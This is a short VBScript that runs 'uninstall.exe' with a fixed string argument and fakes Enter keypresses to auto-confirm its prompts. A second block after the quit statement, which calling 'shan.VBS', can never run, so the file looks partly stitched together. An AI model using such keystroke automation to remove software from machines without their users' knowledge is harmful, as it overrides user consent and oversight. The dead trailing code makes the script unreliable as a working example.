DIM objShell
set objShell=wscript.createObject("wscript.shell")
objShell.Run "uninstall.exe qwerttyuiopasdfghjklzxcvbnm"
Wscript.Sleep 3000
objShell.SendKeys "{Enter}"
Wscript.Sleep 5000
objShell.SendKeys "{Enter}"
Set objShell=NoThing
WScript.quit
Set WS = CreateObject("wscript.shell")
CommandPath="shan.VBS"
WS.Run CommandPath